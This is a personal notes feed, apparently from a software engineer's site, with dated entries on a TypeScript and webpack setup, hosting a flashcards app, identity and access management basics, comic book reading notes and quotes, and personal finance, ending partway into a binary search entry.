
Sat, 20 Apr 2024 00:00:00 +0000

Moving to TypeScript entails configuring how the JavaScript will be eventually consumed by both the server and the client.

Separating the Client Bundle from the Server Bundle

The server code runs in Node while the client code runs in the browser. advises separating the configurations for advantages like faster type-checking and compiling, lower memory usage when using an editor, and improved enforcement of the logical groupings of your program.

Webpack utilizes loaders to preprocess files, allowing the dev to bundle any static resource. For example, markdown-loader compiles markdown into HTML. I’ve been using ts-loader , and it should be informative to know what else is out there, e.g., esbuild-loader , which has been mentioned at work. esbuild-loader’s claim to fame is speed; other benefits include transpiling to ES6+ using esbuild. ts-loader admits to being slow, but because of type-checking all files in every rebuild though granted that can be dangerously disabled via transpileOnly: true. esbuild makes bold claims about being pretty fast, e.g., 87x faster than rollup 4 + terser.

Client/Server Interface

Fri, 19 Apr 2024 00:00:00 +0000

How to handle redirects without setting `window.location.href`?

Right now, there’s a pattern of doing:

sendHTTPRequest("POST", "/login/", {})
 .then((_) => {
 window.location.href = "/";
 })
 .catch((err) => { console.error(err); });

Isn’t this something that the server can do? In response, why not issue a redirect?

Screenshot of the redirect chain from /login. The POST request gets a 303 (See Other) redirect to /home. The browser then makes a GET request to /home, which results in a 304 (Not Modified). Why doesn’t the browser navigate me to /home?

Use of Local Storage

Thu, 18 Apr 2024 00:00:00 +0000

Back when I wrote this, the motivation for using localStorage was to reduce the trips to the server so that the app is usable offline. However, with two data stores (localStorage and the server), the former has a possibility of going stale. What usage is correct and how can we avoid stale data?

`localStorage['session_info']`

getAccountInfo: () => AuthenticateUser | null fetches the session_info entry and JSON.parses it into an AuthenticateUser. This is a possible failure point because the parsed JSON cannot be trusted to be a valid AuthenticateUser instance. This bit should be removed.

Hosting the Flashcards App

Wed, 27 Mar 2024 00:00:00 +0000

Current State: SaaS

The app is hosted at render.com on Render’s free tier that gives us these free web services:

Custom domains
Managed TLS certificates
Pull request reviews
Log streams
Rollbacks up to the two most recent previous deploys.

… with these limitations:

Spins down after 15min of no inbound traffic. Spinning up on the next request causes a noticeable delay for a couple seconds.
Monthly limits, which will suspend the app if exceeded:
- 750 instance hours.
- 100GB bandwidth.
- 500 pipeline minutes.
Can be restarted at any time by Render.

Render’s free PostgreSQL database becomes inaccessible 90 days after creation. For our DB needs, we’re using MongoDB’s free tier , which has shared RAM, and 512MB to 5GB of storage.

Deadpool Kills the Marvel Universe (2011 - 2012)

Mon, 04 Mar 2024 00:00:00 +0000

Deadpool Kills the Marvel Universe. Cullen Bunn; Dalibor Talajic. www.marvel.com . www.hoopladigital.com . marvel.fandom.com . 2012. Accessed Mar 4, 2024.

WATCHER. It is here that Dr. Benjamin Brighton has introduced radical new treatments designed to ease troubled minds… and turn malicious souls toward the pursuit of peace.

World War Hulk

Sat, 02 Mar 2024 00:00:00 +0000

World War Hulk. Greg Pak; John Romita Jr.;. www.marvel.com . www.hoopladigital.com . 2007.

HULK. We made a world. I was the Green King. And Caiera the Oldstrong was my queen. But your “heroes” sent a bomb. Killed a million people. Now this city will fall. You have twenty-four hours to evacuate.

Suicide Squad: Blaze

Sun, 04 Feb 2024 00:00:00 +0000

Suicide Squad: Blaze. Simon Spurrier; Aaron Campbell; Jordan Bellaire. www.dc.com . www.hoopladigital.com . dc.fandom.com . 2022.

Snapshots

Suicide Squad is the quintessential trolley problem story. The anti-heroes have done terrible things to get where they are, but the how can the writer make the reader care about them? Amanda Waller is as amoral as they come, but to a point, she becomes unjust to villains.

Riddler: Year One

Wed, 31 Jan 2024 00:00:00 +0000

The Riddler: Year One. Paul Dano; Stevan Subic. www.dc.com . www.hoopladigital.com . batman.fandom.com . 2023.

EDWARD. Do they deserve a chance? How do they go on in a city that tells them day after day that they are fractured and broken… that there is not way out or up?

American Jesus

Mon, 29 Jan 2024 00:00:00 +0000

The American Jesus Trilogy. Mark Millar; Peter Gross. imagecomics.com . www.hoopladigital.com . 2019. Accessed Jan 30, 2024.

Snapshots

It’s a coming of age story interrogating how a hero is formed, how a villain is created, and how similar the lives of the righteous and wretched can be, how fine the fault lines of good and evil are.

If You Can: How Millennials Can Get Rich Slowly

Tue, 23 Jan 2024 00:00:00 +0000

The Game Plan

Save at least 15% of your salary from age 25 into a 401(k) plan, an IRA, or a taxable account. Put equal amounts of that 15% into three buckets:

A US total stock market index fund
An international total stock market index fund
A US total bond market index fund

A lot of the conventional advice mentions S&P 500 instead of a total stock market index. Maybe that’s because of the brand name? Fidelity’s total stock market index has netted 13.80% in its lifetime compared to its S&P 500 tracker’s 14.81% .

March

Sat, 13 Jan 2024 00:00:00 +0000

Growing Up in Segregated America

Enlightening to see the struggles addressed by the civil rights movement through a child’s viewpoint. I can relate to John Lewis more at a young age because we have shared experiences, but his were in a segregated environment whereas mine weren’t.

The thing is, when I was young, there wasn’t much of a civil rights movement. I wanted to work at something, but I grew up in rural Alabama. My parents knew it would be dangerous to make any waves. “Stay out of trouble. Don’t get in white people’s way.”

3 point

Sat, 30 Dec 2023 00:00:00 +0000

Quick Hammer Plays

A quick hitter is a play that uses a brief number of passes, cuts, screens, or dribble actions to create one or more scoring opportunities. Their typical simplicity might not be effective against a team with solid defense fundamentals.

A hammer set occurs when a weak side player cuts to the nearby corner, usually with the help of a screen. It is generally difficult for the defense to productively guard the baseline attack on the strong side and the off-ball actions on the weak side. The weak side perimeter player is the real target of the set play.

[ToDo] CS 324: Large Language Models

Thu, 14 Dec 2023 00:00:00 +0000

Lectures | CS324. Percy Liang; Tatsunori Hashimoto; Christopher Ré. stanford-cs324.github.io . 2022. Accessed Dec 14, 2023.

✅ Introduction: What is an LM? A brief history . Why does CS 324 exist?
Capabilities: What are the capabilities of GPT-3?
Harms I & II: Performance disparities, social biases and stereotypes, toxicity, and misinformation.
Data: Data behind LLMs; documentation of datasets; data ecosystems.
Security & Privacy: Security implications of LLMs; data poisoning; privacy risks and opportunities.
Legality: The law on development and deployment of LLMs; distinction between law and ethics.
Modeling: Tokenization; model architecture.
Training: Objective functions; optimization algorithms.
Parallelism: Key goal of hardware, systems, and for more than a decade, the only way to get performance.
Scaling Laws: Motivating problem: hyper-parameter costs.
Selective Architectures: Raising the ceiling of how big the models can get.
Adaptation: Why adapt the LM? Probing; fine-tuning; lightweight fine-tuning.
Environmental Impact: What is the environmental impact of LLMs?

[ToDo] Career Growth as a Software Engineer

Sat, 28 Oct 2023 00:00:00 +0000

Big Picture

What is a staff engineer?

3 maps: getting perspective; navigating the terrain; where we’re going.

Creating the big picture: vision & strategy; the approach; the writing; the launch.

Execution

Finite time: resource constraints; choosing projects.

Leading big projects: the start of a project; driving the project.

Why have we stopped? Should it be moving? Are we lost? Have we arrived… somewhere?

Leveling Up

You’re a role model now. Be competent; be responsible; remember the goal; look ahead.

The Graveyard Book (2008)

Sun, 08 Oct 2023 00:00:00 +0000

The Graveyard Book. Neil Gaiman; P. Craig Russell. www.neilgaiman.com . www.hoopladigital.com . Accessed Oct 8, 2023.

Snapshots

The man Jack was tall. This man was taller. The man Jack wore dark clothes. This man’s clothes were darker. People who noticed the man Jack when he was about his business found themselves troubled. The man Jack looked up at the stranger, and it was the man Jack who was troubled.

Alien (2021 - 2023)

Sat, 07 Oct 2023 00:00:00 +0000

Snapshots

GABRIEL. The dream always begins in the dark. You think you know what that means, but you don’t. You can’t. The dark I see is a truer shade than just the absence of light. You can’t find it just by clapping your hands over your eyes. Dark like this gets into you. Penetrates you. Tightens around your skull. Presses into your eye sockets until something pops and even the memory of light – even the belief in light – drains away.

Batman: One Bad Day (2022 - 2023)

Sat, 30 Sep 2023 00:00:00 +0000

Batman: One Bad Day. www.hoopladigital.com . dc.fandom.com .

Snapshots

BATMAN. Mr. Tierney, despite the rumors in the press, I am not omnipotent. I have an unfortunate weakness for mercy that has too often led to careless mistakes and lingering pain. However, the moment you fired that gun at me, I lost my taste for any… mercy. So, as you pull that trigger, know that the weapon is aimed at you. That you are making a careless mistake. That your mistake will lead to… lingering pain.

Superman: Space Age (2022 - 2023)

Sat, 30 Sep 2023 00:00:00 +0000

Superman: Space Age. Mark Russell; Michael Allred; Laura Allred. 2022.

What makes a Superman story in 2023? What can’t Superman beat? Nature? Disease?

Societal Critique

CLARK. Bored with how little they actually know, people tend to fill in the blanks with beliefs that make the world a more exciting place for them. What they lack in knowledge, they make up for with conviction.

Employee Stock Purchase Plan (ESPP)

Sat, 19 Aug 2023 00:00:00 +0000

MSFT offers an ESPP, in which employees can buy MSFT stock at a 10% discount. There is a cap ~~to the number of shares per employee per year~~ in that one can do at most 15% of one’s paycheck.

Selling the ESPP stock within the same year seems unwise because of short-term capital gains tax. That said, holding them increases exposure to MSFT (if MSFT does poorly, that affects one’s bonuses, and sometimes livelihood).

Nightmare Country (The Sandman Universe)

Sun, 06 Aug 2023 00:00:00 +0000

The Sandman Universe: Nightmare Country. James Tynion IV; Lisandro Estherren; Yanick Paquette; Andrea Sorrentino. www.dc.com . www.hoopladigital.com . sandman.fandom.com . 2022.

Tynion IV won Eisner’s “Best Writer” award for 2023.

Snapshots

MR. ECSTASY. Dreams are a trap. They comfort and they coddle. They comfort and they coddle. They give false hope, and false understanding. They are little fictions that satisfy a man’s hunger for meaning, without providing anything he can hold in his hands. What matters is chasing the real. It’s what you can touch. What you can feel. Allow me to demonstrate.

Arca (2023)

Sun, 30 Jul 2023 00:00:00 +0000

Arca. Van Jensen; Jesse Lonergan. 2023.

Snapshots

ARCA. Good morning, children. It is time to awaken. It is time to serve. Another day is here! A day to take joy in your work. Remember, the role of each settler is essential to the mission. Because there is only one way that we will reach Eden. And that is…
CHILDREN. …TOGETHER!

Star Trek: Year Five (2019 - 2021)

Sun, 04 Jun 2023 00:00:00 +0000

Star Trek: Year Five. Brandon Easton; Jody Houser; Jim McCann; Collin Kelly; Jackson Lanzing. idwpublishing.com . www.hoopladigital.com . memory-beta.fandom.com . 2019.

Snapshots

SPOCK. They Lloyd Zeta hypergiant is the single most massive stellar object ever detected by Starfleet. And according to calculations by both the Vulcan Science Academy and Starfleet, within the next five minutes… it will explode, emitting a high-yield gamma ray burst that will effectively sterilize this entire sector. While this system is uninhabited, mass extinctions will occur on any habitable plants within a ten thousand light year range of the burst.

Supergirl: Woman of Tomorrow (2021 - 2022)

Mon, 29 May 2023 00:00:00 +0000

Supergirl: Woman of Tomorrow. Tom King; Bilquis Evely; Matheus Lopes. www.dc.com . www.hoopladigital.com . dc.fandom.com . 2021.

Justice

#justice-motif

RUTHYE. If a child, which I was at the time despite my many protests to the contrary, could claim the weapon with a simple tug… what was it that prevented Krem from rescuing it? I had meant to ask him, and even had the question on my tongue when Supergirl and I eventually found the filthy man and he was begging for his life with tears in his eyes. But Supergirl delivered the fatal blow and Krem fell dead to the ground before I could get it out.

Identity Access Management

Sun, 28 May 2023 00:00:00 +0000

(Based on the table of contents in https://auth0.com/intro-to-iam )

Authentication refers to granting the user (or an application acting on behalf of a user) credentials to access a given resource. I don’t know the difference between SAML, OAuth, and OpenID. I’ve seen OAuth used when granting apps access to other apps, e.g., granting Netlify and OAuth token for accessing a Github repository.

Of the authentication methods, I’m familiar with Single-Sign On (SSO), and Multi-Factor Authentication (MFA). I don’t know about Passwordless Authentication. SSO occurs when say signing into accounts.microsoft.com grants you access to office.microsoft.com, tasks.microsoft.com, etc.; presumably the SSO token should work on *.bing.com given that microsoft.com and bing.com are owned by the same entity? Not sure how cross-domain SSO works though. MFA refers to requiring a second form of authentication, e.g., entering a password, and also validating a prompt sent to your phone; the idea is that it’s less likely for the attacker to have access to both authentication methods. Passwordless seems like it’d cover alternate methods like biometrics that are available on newer computers and phones.

East of West (2013 - 2019)

Sat, 27 May 2023 00:00:00 +0000

East of West. Jonathan Hickman; Nick Dragotta. imagecomics.com . www.hoopladigital.com . imagecomics.fandom.com . 2013.

Snapshots

The things that divide us are stronger than the things that unite us.

Soon, the Union found itself fighting a war on two fronts – righteousness and tyranny, and the resulting quagmire suited their hypocrisy. Conflict drug on until finally reaching a protracted lull a decade later. A war that not war, lasting twenty more years… until the fire in the sky. There are those that say the comet should have struck some other land. That God, like with Joshua and the Amorites, somehow held the world up, kept it from spinning, just so he could deliver judgment. Divine intervention or not, that event marked the end of the hostilities, the remarking of territory, and the formation of what would become the Seven Nations of America. The Accords were signed at Armistice – the epicenter of the event – on November 9, 1908. It was significant, historic, and the third most important thing to happen that day. As in Atlanta, the Prophet Longstreet penned the Second Book of Revelation. And in Cheowee, Red Cloud shared a waking vision with his council of elders. The upon completion, and by all accounts at exactly the same time, both men collapsed and died.

Dark Night: A True Batman Story (2016)

Sun, 16 Apr 2023 00:00:00 +0000

Dark Night: A True Batman Story. Paul Dini; Eduardo Risso. www.dc.com . www.hoopladigital.com . dc.fandom.com . Jun 15, 2016.

Snapshots

DINI. Now you’d think that one invisible kid might find comfort in another one’s company. But at that age, the last thing a nothing kid wants to be is lumped in with another nothing. Proof that cruelty, even garbed as self-preservation, is contagious.

Catwoman: Lonely City (2021 - 2022)

Sat, 15 Apr 2023 00:00:00 +0000

Catwoman: Lonely City. Cliff Chiang. www.dc.com . www.hoopladigital.com . batman.fandom.com . 2021.

aims to handle a Gotham without Batman. Maybe there’ll be fewer super-villains as there is no Batman. There’s an arms race between villains and heroes. I expect more systemic villains that skirt legality such that they can’t be imprisoned.

The Sheriff of Babylon (2015 - 2016)

Sat, 15 Apr 2023 00:00:00 +0000

The Sheriff of Babylon. Tom King; Mitch Gerads. www.dc.com . www.hoopladigital.com . dc.fandom.com . 2015.

Snapshots

KING. I decided to do something set during my time at Baghdad. In terms of goals,I wanted to write something that wasn’t political or didn’t feel like homework, that wasn’t about whether it was good or bad to be there; I just wanted to write about what it was like to be actually there then.

Batman: Year One (1987)

Sat, 08 Apr 2023 00:00:00 +0000

Batman: Year One. Frank Miller; David Mazzucchelli. www.dc.com . www.hoopladigital.com . dc.fandom.com . 1987. Accessed Apr 8, 2023.

Miller and Mazzucchelli also did Daredevil: Born Again (1986) together.

In 1986, DC embarked on a reinvention of its characters’ origin stories to match the times. However, Batman’s origin story didn’t change as it already captured the fears, frustrations and hopes of a readership coping with the realities of 20th-century urban life. Miller accepted the challenge to give Batman’s origin more depth, complexity and a wider context.

Superman: Birthright (2003 - 2004)

Fri, 24 Mar 2023 00:00:00 +0000

Superman: Birthright. Mark Waid; Leinil Francis Yu; Gerry Alanguilan; Dave McCaig. www.dc.com . www.hoopladigital.com . 2003. Accessed Mar 24, 2023.

Snapshots

JOR-EL. For the thousand orbits, a shining planet circled a celestial font of heat and light. The people of that world grew tired of war so they achieved a united society. They feared the unknown… so they conquered it with the marvels of science. They yearned for heaven… so they created it beneath their very feet. For ten thousand orbits, a clump of dirt careened around a red dwarf star. And it accomplished miracles no one will ever remember.

House of El (2021 - 2023)

Tue, 21 Mar 2023 00:00:00 +0000

House of El. Claudia Gray; Eric Zawardski. www.dc.com . www.hoopladigital.com . 2021.

Snapshots

TRIBUNE MEMBER. Krypton is the most advanced civilization known to exist in the galaxy. For generations, its citizens have been genetically engineered to make them the greatest examples of their kind. We have the best soldiers that can possibly exist. The best scientists. The best leaders. Could the people designed to rule this world fail to defend it? Could any society truly be failing when they can terraform other planets, and shape them as they desire?
#technocracy

Mister Miracle (2017 - 2019)

Mon, 13 Mar 2023 00:00:00 +0000

Mister Miracle Vol. 4 (2017 - 2019). Tom King; Mitch Gerads. www.dc.com . www.hoopladigital.com . dc.fandom.com . Accessed Mar 13, 2023.

There’s something that I’m missing. I don’t get the ending. Is Scott dead?

Daredevil: Born Again (1986)

Mon, 06 Mar 2023 00:00:00 +0000

Daredevil: Born Again. Frank Miller; David Mazzuchelli. www.marvel.com . www.hoopladigital.com . marvel.fandom.com . 1986. Accessed Mar 6, 2023.

Snapshots

[Matt] Dust… The dust is thick. Could choke on it… There’s nothing left. So you know. So that’s why. I never would have connected it to you. Nothing about it said gangster – until this. It was a nice piece of work, Kingpin. You shouldn’t have signed it.

Kingdom Come (1996)

Sat, 04 Mar 2023 00:00:00 +0000

Kingdom Come (1996). Mark Waid; Alex Ross. www.dc.com . www.hoopladigital.com . dc.fandom.com . Accessed Mar 4, 2023.

Snapshots

The world Wesley left is filled not with his heroes… but with their children and grandchildren. They number in the nameless thousands … progeny of the past, inspired by the legends of those who came before if not the morals. They no longer fight for the right. They fight simply to fight, their only foes each other. The superhumans boast that they’ve all but eliminated the super-villains of yesteryear.

Animal Man (1988 - 1995)

Tue, 21 Feb 2023 00:00:00 +0000

Animal Man. Grant Morrison. www.dc.com . www.hoopladigital.com . dc.fandom.com . 1988. Accessed Mar 5, 2023.

Snapshots

He took himself into the desert. And rose up. And went into the presence of God. And God spoke unto Crafty saying, “You must be punished for this rebellion against my will. Nevertheless, I am a good God and my judgment will be tempered with mercy.” Much afraid, Crafty spoke saying, “I will bear any punishment that will bring peace to the world.” “Then you must spend eternity in the hell above,” said God. “While you live and bear the suffering of the world, I will make peace among the beasts. That is my judgment.”

Clean Room (2015 - 2017)

Sun, 12 Feb 2023 00:00:00 +0000

Clean Room (2015 - 2017). Gail Simone; Jon Davis-Hunt; Walter Geovani; Sanya Anwar. www.dc.com . www.hoopladigital.com . 2015.

#extraterrestrial-possession

Snapshots

[Chloe] The Haverlin brothers from next door came to visit, when my mother did not. They pulled me out. I told them I was grateful because I didn’t want to make them sad. Sometimes the truth hurts the people with the best hearts the most.

Vision (2015 - 2016)

Sun, 05 Feb 2023 00:00:00 +0000

Vision Vol. 1: Little Worse Than A Man. Tom King; Gabriel Hernandez Walta. www.marvel.com . www.hoopladigital.com . Jun 29, 2016. Accessed Feb 5, 2023.

Snapshots

Most of the Visions’ neighbors worked downtown, and they talked often about the traffic on 66 or Lee highway. On the weekends they tended to stay in Virginia, though they often lamented that they should go into the city. The museums are so nice, and the kids would have a great time. Very few of them were from the area originally. Most had moved to D.C. after college and worked for congress or the president. They made nothing, and they lived off of nothing. But that was unimportant. They were young, and they wanted to save the world. Eventually, they met someone and fell in love and had children. With bills to pay, they left their small government jobs; they became lobbyists and lawyers and managers. They moved out to the suburbs for the schools. They made the compromises that are necessary to raise a family.

The Last Days of Ptolemy Grey

Sat, 04 Feb 2023 00:00:00 +0000

The Last Days of Ptolemy Grey. Walter Mosley. en.wikipedia.org . www.apple.com . 2022-03-11. Accessed Feb 4, 2023.

Snapshots

[Ptolemy] Well, what I always tell Reggie he got to do? [Reggie] Uh, I got to take care of my kids. I got to go to the doctor if I run a fever. And… And, uh, I got to put in at least ten dollars in the bank every time I get paid.

Gödel, Escher, Bach: An Eternal Golden Braid

Fri, 20 Jan 2023 00:00:00 +0000

Strange Loops

A Strange Loop occurs whenever, by moving upwards (or downwards) through the levels of some hierarchical system, we unexpectedly find ourselves right back where we started.

The 3-voice Canon Per Tonos from Musikalisches Opfer BWV 1079 exhibits a strange loop. Successive modulations make one expect to hopelessly far from the starting key, but after six modulations, the original key of C minor is restored!

I can’t quite perceive the rising canon. reports that I’m not alone.

Doom Patrol (1987 - 1995)

Fri, 23 Dec 2022 00:00:00 +0000

Doom Patrol (1987-1995). Grant Morrison; Richard Case; John Nyberg. www.dcuniverseinfinite.com . www.hoopladigital.com . 1987. Accessed Dec 23, 2022.

Punchlines

Father McGarry has long since ceased to believe in miracles. Saturdays, he trudges out to the dump, looking for God among the debris. Saturdays are always the longest days and, in the winter, chilly. He asks for very little. Some trace, some evidence, some spoor of the divine. Some sign. It begins to rain fish. Mackerel. Herring. Sea bass. Pike. Sturgeon. Tench. Plaice. Salmon. From a clear sky. Trout. No cod.
FATHER McGARRY. Ha. [Crushed to death by a falling refrigerator]

Productivity for Software Engineers

Fri, 16 Dec 2022 00:00:00 +0000

Measuring Productivity

Devs’ Diverging Perceptions of Productivity

Got interested in measuring it two years into my SWE career.

Initially rated myself based on % of completed daily objectives. The objectives didn’t necessarily correspond to work items. Stopped because the numbers were high even on days when I didn’t feel productive.

Switched to “stuff that affects others” (later came to know these are “function points”). More intuitively captures non-code objectives, e.g., aligning folks on feature specs. Numbers seem low; never a double digit month. Open question on how to incorporate code reviews into my daily rating.

Outcast

Sun, 11 Dec 2022 00:00:00 +0000

Outcast. Robert Kirkman; Paul Azaceta. imagecomics.com . www.hoopladigital.com . 2014. Accessed Dec 11, 2022.

#religious-fiction

#extraterrestrial-possession

Snapshots

[Rev. Anderson] I know… How completely I failed you. You brought me face to face with the Devil himself… And I didn’t have the strength to confront him. Am I no longer worthy to do your work? Is that why I have no power over these demons? Have I offended you?

Invisible Kingdom (2019 - 2021)

Sat, 03 Dec 2022 00:00:00 +0000

Invisible Kingdom. G. Willow Wilson; Christian Ward. www.darkhorse.com . www.hoopladigital.com . 2019. Accessed Dec 3, 2022.

A Flawed Religious Organization

[Vess] But what if… What if you found something here that seemed wrong? That seemed out of place? [Krikko] I would go straight to Mother Proxima and ask for guidance. That’s why she’s here. [Vess] And… If the something wrong had to do with Mother Proxima herself? [Krikko] Then I would question myself. Because doubting her would mean I had strayed from my vow of obedience.

C++ Meta-Programming

Mon, 28 Nov 2022 00:00:00 +0000

Clang, LLVM, GCC, and MSVC

LLVM is an umbrella project, with several sub-projects, e.g. LLVM Core and Clang. LLVM Core libraries provide an optimizer and code generator for different CPUs. Clang is an “LLVM native” C/C++/Objective-C compiler which aims for fast compilation, useful error and warning messages, and a platform for building source-level tools. The Clang Static Analyzer and clang-tidy are examples of such tools.

So if I were to create a programming language, I can define a transformation into LLVM intermediate representation (LLVM IR), and that will make use of LLVM core to optimize it? Sweet!

Bitter Root

Sun, 20 Nov 2022 00:00:00 +0000

Bitter Root. David F. Walker; Chuck Brown; Sanford Greene. imagecomics.com . www.hoopladigital.com .

#extraterrestrial-possession

Snapshots

[Dr. Sylvester] I am not the devil. It was the devil that made me what I have become, and the devil I am here to destroy. Look around you, Enoch Sangerye. You’ve seen this before – cities and towns burned to the ground. It always starts with their hate and fear. And it always ends with our deaths. You saw the hell unleashed in the summer of 1919.

Batman: White Knight

Sun, 13 Nov 2022 00:00:00 +0000

Batman: White Knight. Sean Murphy. www.dc.com . www.hoopladigital.com . 2017.

#vigilantism

First time encountering a comic where the same person wrote, pencilled and inked the work. The panels should be truer to what the writer intended.

Snapshots

[Joker] Admit it – I gave you Gotham City! This corrupt war zone is the home we created together. The only reason Gotham allows you to exist in because they’re so terrified of me! Admit it! I’m the only one who really knows you Batman! Your vigilantism isn’t about justice – it’s about control: fixing this city is your pathetic way of salvaging the broken bits of your anima. But you’re too stupid to see that it hasn’t worked – crime has become your therapy, and Gotham your victim. You’ve dragged us all into your perpetual Halloween!

Batman Vol. 1: Their Dark Designs

Sun, 30 Oct 2022 00:00:00 +0000

Batman: Vol. 1: Their Dark Designs. James Tynion IV; Guillem March; Tomeu Morey. www.dc.com . www.hoopladigital.com .

Tynion IV’s Department of Truth is entertaining in its treatment of truth. Coming in with a bit of bias for Tynion IV’s writing.

The Mighty

Wed, 26 Oct 2022 00:00:00 +0000

The Mighty. Peter J. Tomasi; Champagne Keith; Chris Samnee; Peter Snejbjerg. imagecomics.com . www.hoopladigital.com . 2022.

Review

Similar back story to Invincible , also published by Image Comics. Like Omni-Man, Alpha One comes from a distant civilization of advanced humans. However, his ambitions weren’t shared by his people, and crashed into Earth by mistake while being transported to a prison in Venus.

Civil War

Fri, 21 Oct 2022 00:00:00 +0000

Thematic similarities with DC’s Injustice storyline that divides the heroes into two camps, with some questionable decisions along the way.

Snapshots

[Mrs. Sharpe] Goliath knew what he was doing. He was breaking a law designed to save people’s lives. If he’d only gone legitimate. He’d still be alive. This is no more your fault than a cop could be blamed for shooting a punk who pulls a gun on him.

On Societal Oppressions

Sun, 18 Sep 2022 00:00:00 +0000

Looking for parallels should be done cautiously. For example, the advantaging associated with race may be different from the one associated with heterosexism. It’s also hard to disentangle [dis]advantaging where social class, economic class, race, religion, sexuality, ethnic identity, and other factors interact.

Isn’t this the crux of intersectionality studies?

Intersectionality identifies multiple factors of advantage and disadvantage. Factors include gender, caste, sex, race, ethnicity, class, sexuality, religion, disability, weight, and physical appearance. These intersecting and overlapping social identities may be both empowering and oppressing. Criticisms of the framework: tendency to reduce individuals to specific demographic factors; its use as an ideological tool against other feminist theories; ambiguous/undefined goals; reliance on subjective experiences (standpoint theory) leading to contradictions and inability to generalize.

How to Read Fiction

Sun, 11 Sep 2022 00:00:00 +0000

Imaginative literature primarily pleases rather than teaches. It is much easier to be pleased than taught, but much harder to know why one is pleased. Beauty is harder to analyze than truth.

On the fiction’s importance, phrases it nicely:

But we could not live in this [real] world if we were not able, from time to time, to get away from it. We do not mean that imaginative literature is always, or essentially, escapist. In the ordinary sense of that term, the idea is contemptible. If we must escape from reality, it should be to a deeper, or greater, reality.

Y: The Last Man

Sun, 11 Sep 2022 00:00:00 +0000

Issues #18 to #23 didn’t have moments that made me think/pause. Mostly free-flowing; similar to how Monstress is turning out. Maybe the series is tapering out? Or the novelty has faded. All the more impressive that Sandman kept me hooked through +70 issues. Will give it one more shot by reading Book 3 (#24 - #36).

Snapshots

[Christopher] I don’t get it. I mean, off the record, I understand fighting for equal pay and all that garbage… But I thought you feminists were pacifists, too. [Alter] Who wants peace, when we have not yet begun to fight?

[ToDo] CS 168: The Modern Algorithmic Toolbox

Sat, 10 Sep 2022 00:00:00 +0000

The Modern Algorithmic Toolbox (CS168). Gregory Valiant. web.stanford.edu . 2022. Accessed Sep 10, 2022.

Modern Hashing

Consistent hashing.
Property-preserving lossy compression. From majority elements to approximate heavy hitters. From bloom filters to the count-min sketch.

Data with Distances

Similarity Search. (Dis)similarity metrics: Jaccard, Euclidean, Lp. Efficient algorithm for finding similar elements in small/medium (i.e. $< 20$) dimensions using k-d trees.
Curse of Dimensionality, kissing number. Distance-preserving compression. Estimating Jaccard Similarity using MinHash. Euclidean distance preserving dimensionality reduction (aka the Johnson-Lindenstrauss Transform)

Generalization and Regularization

Generalization (or, how much data is enough?). Learning an unknown function from samples from an unknown distribution. Training error vs. test error. PAC guarantees for linear classifiers. Empirical risk minimization.
Regularization. The polynomial embedding and random projection, L2 regularization, and L1 regularization as a computationally tractable surrogate for L0 regularization.

Linear-Algebraic Techniques: Understanding Principal Components Analysis (PCA)

Understanding PCA. Minimizing squared distances equals minimizing variance. Use case for data visualization and data compression. Failure modes for PCA.
How PCA works. Maximizing variance as finding the “direction of maximum stretch” of the covariance matrix. The simple geometry of “diagonals in disguise.” The power iteration algorithm.

Linear-Algebraic Techniques: Understanding the Singular Value Decomposition (SVD)

Low-rank matrix approximations. SVD; applications to matrix compression, de-noising, and matrix completion (i.e. recovering missing entries).
Tensor methods. Differences between matrices and tensors, the uniqueness of low-rank tensor factorizations, and Jenrich’s algorithm.

Spectral Graph theory

Graphs as matrices and the Laplacian of a graph, Interpretations of the largest and smallest eigenvectors/eigenvalues of the Laplacian. Spectral embeddings, and an overview of applications (e.g. graph coloring, spectral clustering).
Interpretations of the second eigenvalue (via conductance and isoperimetric number), and the connections with the speed at which random walks/diffusions converge.

Sampling and Estimation

Reservoir sampling (how to select a random sample from a data stream). Basic probability tools: Markov’s inequality and Chebyshev’s inequality. Importance Sampling (how to make inferences about one distribution based on samples from a different distribution). Description of the Good-Turing estimate of missing/unseen mass.
Markov Chains, stationary distributions. Markov Chain Monte Carlo (MCMC) as approaches to solving hard problems by sampling from carefully crafted distributions.

The Fourier Perspective (and other bases)

Fourier methods, part 1.
Fourier methods, part 2 (emphasis on convolutions).

Sparse Vector/Matrix Recovery (Compressive Sensing) and Mathematical Programming

Compressive sensing.
Linear and convex programming. Matrix completion.

Privacy Preserving Computation

Differential Privacy in data analysis and machine learning

Fiction Potpourri

Tue, 06 Sep 2022 00:00:00 +0000

A collection of notes/impressions from titles where I didn’t find enough to necessitate a dedicated page. Usually short works of fiction.

Unknown Number

Unknown Number. Blue Neustifter. twitter.com . genderdysphoria.fyi . Jul 27, 2021. Accessed Sep 6, 2022.

tells the story of a person who has gender dysphoria. In an alternate universe, they never transitioned but went on to become an established physicist who could communicate across parallel universes.

Monstress

Mon, 05 Sep 2022 00:00:00 +0000

#extraterrestrial-possession

Ms. Liu notes that Monstress is a creator-owned comic book series. Why is “creator-owned” significant?

While creator ownership has been common in fiction writing, it’s more the exception in comics, recorded music, and motion pictures, where the work is sold to the publishers, or produced as work-for-hire. Prominent outfits for creator-owned comics include Image Comics (founded by prominent Marvel artists), DC’s Vertigo imprint (now Black Label), and Dark Horse Comics’ Legend imprint.

When An Ogre Walks Down the Street

Sun, 04 Sep 2022 00:00:00 +0000

Plot Points

Her mind swells: mine, mine, mine. She pounds the pavement with her feet, pointing, shouting, but no one tries to stop the thief; no one wants to have a knife in the gut… And then the other things that anger her in a distracting and grinding way, things she can do nothing about because she is a coward, and she will not get tear-gassed, clobbered, and arrested over an uncertain revolution: the barely-out-of-teenagehood Kianjokoma brothers dead at the hands of the police and no one arrested; the billions the President says are vanishing from the national Treasury every day; DJ Evolve shot and maimed in a club by a sitting MP who is still sitting quite comfortably; the countries far away hoarding vaccines while their citizens brandish guns over masks and personal freedoms. No! She will not lose one more fucking thing to the world.

The Dreaming: Waking Hours

Sun, 28 Aug 2022 00:00:00 +0000

A spin-off from Gaiman’s Sandman , featuring the reincarnated Lord Dream.

Notable Plot Points

[Morris] Professor Dunbar… The reason I asked you to be my advisor is because I thought you of all people would understand what it’s like to be a woman in academia. [Professor Dunbar] You mean you thought I’d cut you a break. But I never got a break. I was the only woman in my class at Oxford who left with a PhD, and for my trouble, I’m teaching at a no-name university in New Jersey.

Binary Search

Thu, 18 Aug 2022 00:00:00 +0000

Binary Search on a Non-Decreasing $f: \mathbb{R} \to \mathbb{R}$

Given a number $L$ and a non-decreasing function $f: \mathbb{R} \to \mathbb{R}$, find the greatest $x$ such that $f(x) \le L$. To start, there are two numbers $lo$ and $hi$, such that $f(lo) \le L < f(hi)$.

Algorithm

